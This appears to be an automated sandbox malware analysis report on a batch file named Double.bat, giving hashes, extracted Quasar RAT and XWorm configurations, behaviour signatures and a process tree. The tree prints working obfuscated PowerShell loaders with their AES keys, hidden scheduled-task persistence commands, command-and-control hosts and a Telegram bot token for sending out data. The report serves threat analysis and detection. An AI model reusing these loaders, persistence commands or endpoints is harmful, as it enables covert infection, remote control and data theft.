Analysis
-
max time kernel
54s -
max time network
62s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
13-04-2024 17:59
Static task
static1
Behavioral task
behavioral1
Sample
Double.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Double.bat
Resource
win10v2004-20240412-en
General
-
Target
Double.bat
-
Size
1.6MB
-
MD5
948386c98184781df692e5f11ff558f7
-
SHA1
e8619faf83446ea78e456920834579bbf71aea20
-
SHA256
7da1336453539461c6b6630200259214c3fba0e458c21e15e26545c0816f6c7f
-
SHA512
0023368d89bf5951b3fc87e4ea8fb84e02a87c0917bd5aef0d5bcc00d5a9de616f4922956a015aa7f748299813876a290b545a309116878506c89de3387148ba
-
SSDEEP
24576:wdgbyfVoiqSFeKsWoIk3GpiYJKVvlBU4Lr/QIEeL86NKuhRu9xyz2XP9d/qi7q:J4ogzBYGUvrxrl44RQyz2fZq
Malware Config
Extracted
quasar
1.4.1
Office04
express-divorce.gl.at.ply.gg:22562
6735a92b-88d2-4fbe-8e59-605a85072109
-
encryption_key
8681483EF512C654BECF205A0D74FFCA4B129A98
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Trapix Client Startup
-
subdirectory
SubDir
Extracted
xworm
3.0
traffic-collins.gl.at.ply.gg:24820
uX6FapIHo24Z2JFZ
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral3/memory/4120-108-0x0000023DE8050000-0x0000023DE805E000-memory.dmp family_xworm -
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral3/memory/3932-54-0x000001CE33570000-0x000001CE33894000-memory.dmp family_quasar -
Blocklisted process makes network request 9 IoCs
Processes:
powershell.exepowershell.exeflow pid process 2 3932 powershell.exe 4 4120 powershell.exe 5 3932 powershell.exe 6 4120 powershell.exe 7 3932 powershell.exe 8 3932 powershell.exe 9 3932 powershell.exe 10 3932 powershell.exe 11 3932 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-801765966-3955847401-2235691403-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-801765966-3955847401-2235691403-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4116 powershell.exe 4116 powershell.exe 4408 powershell.exe 4408 powershell.exe 3932 powershell.exe 3932 powershell.exe 3728 powershell.exe 3728 powershell.exe 236 powershell.exe 236 powershell.exe 4120 powershell.exe 4120 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4116 powershell.exe Token: SeDebugPrivilege 4408 powershell.exe Token: SeIncreaseQuotaPrivilege 4408 powershell.exe Token: SeSecurityPrivilege 4408 powershell.exe Token: SeTakeOwnershipPrivilege 4408 powershell.exe Token: SeLoadDriverPrivilege 4408 powershell.exe Token: SeSystemProfilePrivilege 4408 powershell.exe Token: SeSystemtimePrivilege 4408 powershell.exe Token: SeProfSingleProcessPrivilege 4408 powershell.exe Token: SeIncBasePriorityPrivilege 4408 powershell.exe Token: SeCreatePagefilePrivilege 4408 powershell.exe Token: SeBackupPrivilege 4408 powershell.exe Token: SeRestorePrivilege 4408 powershell.exe Token: SeShutdownPrivilege 4408 powershell.exe Token: SeDebugPrivilege 4408 powershell.exe Token: SeSystemEnvironmentPrivilege 4408 powershell.exe Token: SeRemoteShutdownPrivilege 4408 powershell.exe Token: SeUndockPrivilege 4408 powershell.exe Token: SeManageVolumePrivilege 4408 powershell.exe Token: 33 4408 powershell.exe Token: 34 4408 powershell.exe Token: 35 4408 powershell.exe Token: 36 4408 powershell.exe Token: SeIncreaseQuotaPrivilege 4408 powershell.exe Token: SeSecurityPrivilege 4408 powershell.exe Token: SeTakeOwnershipPrivilege 4408 powershell.exe Token: SeLoadDriverPrivilege 4408 powershell.exe Token: SeSystemProfilePrivilege 4408 powershell.exe Token: SeSystemtimePrivilege 4408 powershell.exe Token: SeProfSingleProcessPrivilege 4408 powershell.exe Token: SeIncBasePriorityPrivilege 4408 powershell.exe Token: SeCreatePagefilePrivilege 4408 powershell.exe Token: SeBackupPrivilege 4408 powershell.exe Token: SeRestorePrivilege 4408 powershell.exe Token: SeShutdownPrivilege 4408 powershell.exe Token: SeDebugPrivilege 4408 powershell.exe Token: SeSystemEnvironmentPrivilege 4408 powershell.exe Token: SeRemoteShutdownPrivilege 4408 powershell.exe Token: SeUndockPrivilege 4408 powershell.exe Token: SeManageVolumePrivilege 4408 powershell.exe Token: 33 4408 powershell.exe Token: 34 4408 powershell.exe Token: 35 4408 powershell.exe Token: 36 4408 powershell.exe Token: SeIncreaseQuotaPrivilege 4408 powershell.exe Token: SeSecurityPrivilege 4408 powershell.exe Token: SeTakeOwnershipPrivilege 4408 powershell.exe Token: SeLoadDriverPrivilege 4408 powershell.exe Token: SeSystemProfilePrivilege 4408 powershell.exe Token: SeSystemtimePrivilege 4408 powershell.exe Token: SeProfSingleProcessPrivilege 4408 powershell.exe Token: SeIncBasePriorityPrivilege 4408 powershell.exe Token: SeCreatePagefilePrivilege 4408 powershell.exe Token: SeBackupPrivilege 4408 powershell.exe Token: SeRestorePrivilege 4408 powershell.exe Token: SeShutdownPrivilege 4408 powershell.exe Token: SeDebugPrivilege 4408 powershell.exe Token: SeSystemEnvironmentPrivilege 4408 powershell.exe Token: SeRemoteShutdownPrivilege 4408 powershell.exe Token: SeUndockPrivilege 4408 powershell.exe Token: SeManageVolumePrivilege 4408 powershell.exe Token: 33 4408 powershell.exe Token: 34 4408 powershell.exe Token: 35 4408 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.execmd.exepowershell.exeWScript.execmd.exedescription pid process target process PID 2412 wrote to memory of 4116 2412 cmd.exe powershell.exe PID 2412 wrote to memory of 4116 2412 cmd.exe powershell.exe PID 4116 wrote to memory of 4408 4116 powershell.exe powershell.exe PID 4116 wrote to memory of 4408 4116 powershell.exe powershell.exe PID 4116 wrote to memory of 1088 4116 powershell.exe WScript.exe PID 4116 wrote to memory of 1088 4116 powershell.exe WScript.exe PID 1088 wrote to memory of 1400 1088 WScript.exe cmd.exe PID 1088 wrote to memory of 1400 1088 WScript.exe cmd.exe PID 1400 wrote to memory of 3932 1400 cmd.exe powershell.exe PID 1400 wrote to memory of 3932 1400 cmd.exe powershell.exe PID 3932 wrote to memory of 1768 3932 powershell.exe cmd.exe PID 3932 wrote to memory of 1768 3932 powershell.exe cmd.exe PID 1768 wrote to memory of 3728 1768 cmd.exe powershell.exe PID 1768 wrote to memory of 3728 1768 cmd.exe powershell.exe PID 3728 wrote to memory of 236 3728 powershell.exe powershell.exe PID 3728 wrote to memory of 236 3728 powershell.exe powershell.exe PID 3728 wrote to memory of 3572 3728 powershell.exe WScript.exe PID 3728 wrote to memory of 3572 3728 powershell.exe WScript.exe PID 3572 wrote to memory of 4360 3572 WScript.exe cmd.exe PID 3572 wrote to memory of 4360 3572 WScript.exe cmd.exe PID 4360 wrote to memory of 4120 4360 cmd.exe powershell.exe PID 4360 wrote to memory of 4120 4360 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Double.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WNVJGr2TVEzMcvEJ3ibTnTRPHuqPgaJ3neGZEp/fx44='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4bA2EKopXpAd9WyBAjAcwg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VkPFT=New-Object System.IO.MemoryStream(,$param_var); $jRnYQ=New-Object System.IO.MemoryStream; $UnDGQ=New-Object System.IO.Compression.GZipStream($VkPFT, [IO.Compression.CompressionMode]::Decompress); $UnDGQ.CopyTo($jRnYQ); $UnDGQ.Dispose(); $VkPFT.Dispose(); $jRnYQ.Dispose(); $jRnYQ.ToArray();}function execute_function($param_var,$param2_var){ $bERJN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rGUDX=$bERJN.EntryPoint; $rGUDX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Double.bat';$TWUHB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Double.bat').Split([Environment]::NewLine);foreach ($SAFER in $TWUHB) { if ($SAFER.StartsWith(':: ')) { $eDntu=$SAFER.Substring(3); break; }}$payloads_var=[string[]]$eDntu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_824_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_824.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4408 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_824.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_824.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WNVJGr2TVEzMcvEJ3ibTnTRPHuqPgaJ3neGZEp/fx44='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4bA2EKopXpAd9WyBAjAcwg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VkPFT=New-Object System.IO.MemoryStream(,$param_var); $jRnYQ=New-Object System.IO.MemoryStream; $UnDGQ=New-Object System.IO.Compression.GZipStream($VkPFT, [IO.Compression.CompressionMode]::Decompress); $UnDGQ.CopyTo($jRnYQ); $UnDGQ.Dispose(); $VkPFT.Dispose(); $jRnYQ.Dispose(); $jRnYQ.ToArray();}function execute_function($param_var,$param2_var){ $bERJN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rGUDX=$bERJN.EntryPoint; $rGUDX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_824.bat';$TWUHB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_824.bat').Split([Environment]::NewLine);foreach ($SAFER in $TWUHB) { if ($SAFER.StartsWith(':: ')) { $eDntu=$SAFER.Substring(3); break; }}$payloads_var=[string[]]$eDntu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XClientNOT.bat" "6⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IY86fBBkCXWBMMgcQvXxIMJ+E8tHVhc++oVyZrSHY6U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PASGTQqG4m/1CfnhhohGIA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ceHAM=New-Object System.IO.MemoryStream(,$param_var); $bezvA=New-Object System.IO.MemoryStream; $chVIq=New-Object System.IO.Compression.GZipStream($ceHAM, [IO.Compression.CompressionMode]::Decompress); $chVIq.CopyTo($bezvA); $chVIq.Dispose(); $ceHAM.Dispose(); $bezvA.Dispose(); $bezvA.ToArray();}function execute_function($param_var,$param2_var){ $djkzD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vXIdK=$djkzD.EntryPoint; $vXIdK.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClientNOT.bat';$OrYnu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClientNOT.bat').Split([Environment]::NewLine);foreach ($pwKXX in $OrYnu) { if ($pwKXX.StartsWith(':: ')) { $PrdGw=$pwKXX.Substring(3); break; }}$payloads_var=[string[]]$PrdGw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));7⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3728 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_490_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_490.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force8⤵
- Suspicious behavior: EnumeratesProcesses
PID:236 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_490.vbs"8⤵
- Suspicious use of WriteProcessMemory
PID:3572 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_490.bat" "9⤵
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IY86fBBkCXWBMMgcQvXxIMJ+E8tHVhc++oVyZrSHY6U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PASGTQqG4m/1CfnhhohGIA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ceHAM=New-Object System.IO.MemoryStream(,$param_var); $bezvA=New-Object System.IO.MemoryStream; $chVIq=New-Object System.IO.Compression.GZipStream($ceHAM, [IO.Compression.CompressionMode]::Decompress); $chVIq.CopyTo($bezvA); $chVIq.Dispose(); $ceHAM.Dispose(); $bezvA.Dispose(); $bezvA.ToArray();}function execute_function($param_var,$param2_var){ $djkzD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vXIdK=$djkzD.EntryPoint; $vXIdK.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_490.bat';$OrYnu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_490.bat').Split([Environment]::NewLine);foreach ($pwKXX in $OrYnu) { if ($pwKXX.StartsWith(':: ')) { $PrdGw=$pwKXX.Substring(3); break; }}$payloads_var=[string[]]$PrdGw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));10⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:4120
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5df472dcddb36aa24247f8c8d8a517bd7
SHA16f54967355e507294cbc86662a6fbeedac9d7030
SHA256e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
SHA51206383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
-
Filesize
1KB
MD5eb15ee5741b379245ca8549cb0d4ecf8
SHA13555273945abda3402674aea7a4bff65eb71a783
SHA256b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636
SHA5121f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4
-
Filesize
54KB
MD5795363cfbf5d3fca47edc4cbc247a1c0
SHA19374d05486b0b62977825d07f748fa03cca3c864
SHA25684c422d2ccda03230c8eecda7daa2e4ffa00a89d862bed459be52875dde096b6
SHA512c5f147e4d011342d3518416b0d5d30f5adc8eeadac2b060a94abdd80ef8452a61cca997831d69473a13b52ad7aa8acb2ddf507dd3f49f68dfddaf6cbd7c23c94
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
115B
MD573e3c7287bdc5f01d99975b430648c50
SHA1cc5c980a06300d17deb79d2ba171901fe572d19d
SHA25690d9885fc42a71dd01bb1075c27c17440fd7c5477be9bcf0fdb11ab31b0129cc
SHA51212f93c750af16e139b82dfa4a8026f51b79686e8c96a32df84e73f0db9184a88fdf4d6f278d79e055c05ba9e804b96a44bae28c9072ccf034d9f7be05f40a4c8
-
Filesize
1.6MB
MD5948386c98184781df692e5f11ff558f7
SHA1e8619faf83446ea78e456920834579bbf71aea20
SHA2567da1336453539461c6b6630200259214c3fba0e458c21e15e26545c0816f6c7f
SHA5120023368d89bf5951b3fc87e4ea8fb84e02a87c0917bd5aef0d5bcc00d5a9de616f4922956a015aa7f748299813876a290b545a309116878506c89de3387148ba
-
Filesize
115B
MD53ffd611ef2d18d243ac564e0f7d62821
SHA1dc263be524db27643cd508db6324a6fa84894ac7
SHA256b3675ddb7a8616d21671bc2e69dac84890c104c802ba9132a89e0a523a8f1fae
SHA5129ea8f1655bc51637279d62b86c0b863d233eb187a28fd1130736fe769327bbb51645046385c7fdc850954b5497f25e1794e947be2fc30464fb8307d579f60dce